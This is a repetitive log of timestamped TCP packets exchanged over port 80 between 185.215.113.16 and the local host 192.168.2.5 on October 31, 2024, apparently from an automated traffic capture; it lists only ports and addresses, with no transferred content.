Oct 31, 2024 02:08:18.559349060 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.559364080 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.559389114 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.559402943 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.559411049 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.559418917 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.559433937 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.559444904 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.559448957 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.559482098 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.594415903 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.594433069 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.594446898 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.594541073 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.595092058 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.595108032 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.595123053 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.595138073 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.595161915 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.595202923 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.595202923 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.621948004 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.621980906 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.621994019 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.622000933 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.622026920 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.622040033 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.622041941 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.622080088 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.622253895 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.622298002 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.622313976 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.622400045 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.622446060 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.622461081 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.622476101 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.622514963 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.622515917 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.622530937 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.622581959 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.622591019 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.622606039 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.622620106 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.622633934 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.622644901 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.622653961 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.622668028 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.622668982 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.622695923 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.622708082 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.622711897 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.622725010 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.622765064 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.622807026 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.622822046 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.622836113 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.622854948 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.622859001 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.622869968 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.622872114 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.622884989 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.622910023 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.623060942 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.623084068 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.623097897 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.623146057 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.623311043 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.623366117 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.623380899 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.623415947 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.623433113 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.623445034 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.623481989 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.623491049 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.623493910 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.623539925 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.623613119 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.623627901 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.623641968 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.623658895 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.623687029 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.673137903 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.673162937 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.673175097 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.673197985 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.673212051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.673228979 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.673249006 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.673259020 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.673273087 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.673288107 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.673307896 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.673331022 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.673346043 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.673352957 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.673353910 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.673372984 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.673410892 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.673424006 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.673439026 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.673454046 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.673469067 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.673492908 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.673732996 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.673748970 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.673762083 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.673784971 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.673804045 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.673810005 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.673825026 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.673840046 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.673861980 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.674941063 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.674966097 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.674981117 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.675003052 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.675030947 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.675033092 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.675045967 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.675060034 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.675076008 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.675088882 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.675102949 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.675127029 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.675131083 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.675154924 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.675169945 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.675184965 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.675199032 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.675199986 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.675213099 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.675239086 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.675271034 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.675283909 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.675297976 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.675323963 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.675339937 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.675357103 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.675362110 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.675373077 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.676084995 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.676135063 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.676151991 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.676175117 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.676179886 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.676191092 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.676207066 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.676208019 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.676230907 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.676249981 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.676254988 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.676269054 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.676282883 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.676295996 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.676306009 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.676309109 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.676331997 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.676359892 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.676373959 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.676388025 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.676407099 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.676407099 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.676422119 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.676433086 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.676445961 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.676456928 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.676460028 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.676477909 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.676491022 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.676501036 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.676531076 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.711275101 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.711288929 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.711333036 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.711347103 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.711348057 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.711389065 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.711894989 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.711986065 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.711999893 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.712013960 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.712029934 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.712050915 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.712064981 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.715739965 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.715791941 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.740052938 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.740139961 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.740154982 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.740170002 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.740184069 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.740205050 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.740209103 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.740221977 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.740221977 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.740237951 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.740242958 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.740253925 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.740300894 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.740307093 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.740320921 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.740334988 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.740349054 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.740359068 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.740362883 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.740376949 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.740377903 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.740391970 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.740397930 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.740432024 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.740458012 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.740478992 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.740493059 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.740506887 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.740515947 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.740520954 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.740535975 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.740550041 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.740551949 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.740576029 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.740611076 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.740624905 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.740639925 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.740653992 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.740664005 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.740674019 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.740691900 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.740705013 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.740744114 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.740757942 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.740777969 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.740791082 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.740792990 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.740804911 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.740827084 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.740830898 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.740843058 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.740858078 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.740869045 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.740900040 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.791037083 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.791119099 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.791134119 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.791147947 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.791168928 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.791183949 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.791198969 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.791198969 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.791214943 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.791230917 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.791248083 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.791280031 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.791311026 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.791332006 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.791344881 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.791357040 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.791362047 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.791378021 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.791393995 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.791395903 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.791409969 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.791428089 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.791435003 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.791457891 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.791910887 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.791959047 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.791965008 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.791979074 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.792001963 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.792017937 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.792042017 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.792053938 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.792059898 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.792071104 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.792114973 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.792135954 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.792154074 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.792172909 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.792177916 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.792187929 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.792203903 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.792220116 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.792234898 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.792254925 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.792254925 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.792267084 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.792280912 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.792301893 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.792315960 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.792318106 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.792331934 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.792335033 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.792346954 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.792372942 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.792422056 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.792445898 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.792459011 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.792462111 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.792495012 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.792509079 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.792542934 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.792558908 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.792566061 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.792574883 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.792589903 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.792604923 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.792634010 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.792656898 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.792664051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.792678118 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.792692900 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.792716980 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.793008089 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.793031931 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.793044090 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.793076038 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.793102980 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.793103933 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.793118954 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.793133974 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.793176889 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.793219090 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.793270111 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.793283939 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.793329954 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.793330908 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.793344021 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.793359995 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.793382883 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.828218937 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.828289032 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.828316927 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.828330040 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.828342915 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.828367949 CET	49712	80	192.168.2.5	185.215.113.16
Oct 31, 2024 02:08:18.828871965 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.828886986 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.828902960 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.828921080 CET	80	49712	185.215.113.16	192.168.2.5
Oct 31, 2024 02:08:18.828937054 CET	49712	80	192.168.2.5	185.215.113.16
